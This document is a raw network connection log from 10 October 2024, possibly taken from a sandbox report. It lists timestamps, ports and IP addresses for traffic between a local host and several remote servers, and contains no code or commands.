Oct 10, 2024 10:14:07.497690916 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.497746944 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.512980938 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.513003111 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.513597012 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.513602018 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.514216900 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.514265060 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.515505075 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.515505075 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.515547037 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.515577078 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.521625996 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.521656036 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.521732092 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.522469997 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.522483110 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.614742041 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.614773989 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.614821911 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.614826918 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.614864111 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.615736961 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.615755081 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.615767002 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.615772009 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.649329901 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.649383068 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.649444103 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.677459002 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.677510023 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.703722954 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.706543922 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.706609011 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.706984043 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.707004070 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.709387064 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.709810972 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.709832907 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.710421085 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.710424900 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.724618912 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.725405931 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.725442886 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.726193905 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.726198912 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.816625118 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.816700935 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.816804886 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.816891909 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.827044964 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.827575922 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.827642918 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.833930016 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.834173918 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.834585905 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.852159977 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.852240086 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.852279902 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.852300882 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.855048895 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.855081081 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.855350018 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.855350018 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.855370045 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.855376959 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.855392933 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.856122017 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.856134892 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.858253956 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.858262062 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.858375072 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.858673096 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.858673096 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.858695984 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.858702898 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.858717918 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.858736992 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.862433910 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.862482071 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.862559080 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.862906933 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.862920046 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.878202915 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.883208990 CEST	80	64808	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:07.883280039 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.883642912 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.889028072 CEST	80	64808	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:08.178077936 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.187675953 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.187715054 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.188297033 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.188302994 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.291901112 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.292896986 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.292962074 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.300746918 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.300770044 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.300801992 CEST	64803	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.300807953 CEST	443	64803	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.315464973 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.315536022 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.316427946 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.320746899 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.320770025 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.344337940 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.348258018 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.348292112 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.348814964 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.348823071 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.455916882 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.456018925 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.456212997 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.456535101 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.456556082 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.458110094 CEST	64804	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.458123922 CEST	443	64804	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.461911917 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.461942911 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.462228060 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.464627981 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.464637041 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.515985966 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.517762899 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.519560099 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.552895069 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.552912951 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.553853035 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.553857088 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.554326057 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.554333925 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.554759979 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.554764986 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.555459023 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.555497885 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.569782972 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.569814920 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.591229916 CEST	80	64808	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:08.592287064 CEST	80	64808	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:08.592391014 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:08.593497992 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:08.593512058 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:08.598714113 CEST	80	64808	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:08.602575064 CEST	64808	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:08.656605005 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.656714916 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.656810999 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.660568953 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.660651922 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.660666943 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.660706043 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.672290087 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.672409058 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.672497034 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.672518015 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.674252987 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.674252987 CEST	64805	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.674268961 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.674273968 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.674285889 CEST	443	64805	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.681977987 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.681982994 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.681993961 CEST	64806	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.681998968 CEST	443	64806	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.770176888 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.770222902 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.770239115 CEST	64807	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.770246029 CEST	443	64807	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.773977041 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.774045944 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.774127007 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.775072098 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.775150061 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.775376081 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.775830030 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.775867939 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.799463034 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.799516916 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.869489908 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.869606018 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:08.869765043 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:08.990303993 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.041906118 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.131894112 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.182524920 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.314141989 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.314187050 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.318062067 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.318088055 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.318629026 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.318633080 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.319525957 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.319530010 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.319890976 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.319895029 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.422491074 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.422568083 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.422619104 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.423299074 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.423691034 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.423744917 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.428781986 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.428797960 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.428807020 CEST	64810	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.428812027 CEST	443	64810	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.431159973 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.431159973 CEST	64809	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.431164980 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.431171894 CEST	443	64809	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.435305119 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.435379982 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.435462952 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.437592030 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.437623024 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.439651012 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.439706087 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.439773083 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.440119028 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.440149069 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.465097904 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.467050076 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.467068911 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.467924118 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.467936039 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.488239050 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.490134954 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.490211964 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.490725994 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.490741968 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.573173046 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.573393106 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.573446035 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.575896978 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.575926065 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.575952053 CEST	64812	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.575965881 CEST	443	64812	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.586144924 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.586169958 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.586230993 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.587038040 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.587050915 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601058006 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601126909 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601186037 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.601217031 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601247072 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601295948 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.601665020 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.601665974 CEST	64811	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.601699114 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.601722002 CEST	443	64811	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.606571913 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.606632948 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.606709957 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.607382059 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:09.607405901 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:09.650521994 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:09.655493021 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:09.827497959 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:09.827609062 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:09.832143068 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:09.832216024 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:09.832283020 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:09.832566977 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:09.832583904 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:09.999769926 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.001054049 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.001102924 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.001662970 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.001671076 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.101171017 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.101692915 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.101713896 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.102168083 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.102174044 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.111994028 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.112519979 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.112938881 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.112988949 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.113336086 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.113351107 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.114178896 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.114243031 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.114284992 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.114308119 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.114320040 CEST	64813	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.114327908 CEST	443	64813	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.116966009 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.117016077 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.117211103 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.117341995 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.117357969 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.211565018 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.211597919 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.211642981 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.211663961 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.211694956 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.211941957 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.211961031 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.212025881 CEST	64814	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.212033033 CEST	443	64814	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.214941978 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.215065002 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.215145111 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.215289116 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.215321064 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.222309113 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.222502947 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.222600937 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.222675085 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.222685099 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.222708941 CEST	64815	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.222713947 CEST	443	64815	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.225414038 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.225456953 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.225711107 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.225855112 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.225867033 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.243443012 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.244458914 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.244476080 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.245709896 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.245721102 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.266314030 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.266829014 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.266879082 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.267306089 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.267311096 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.349172115 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.349267960 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.349337101 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.349419117 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.349556923 CEST	64816	443	192.168.2.4	13.107.253.45
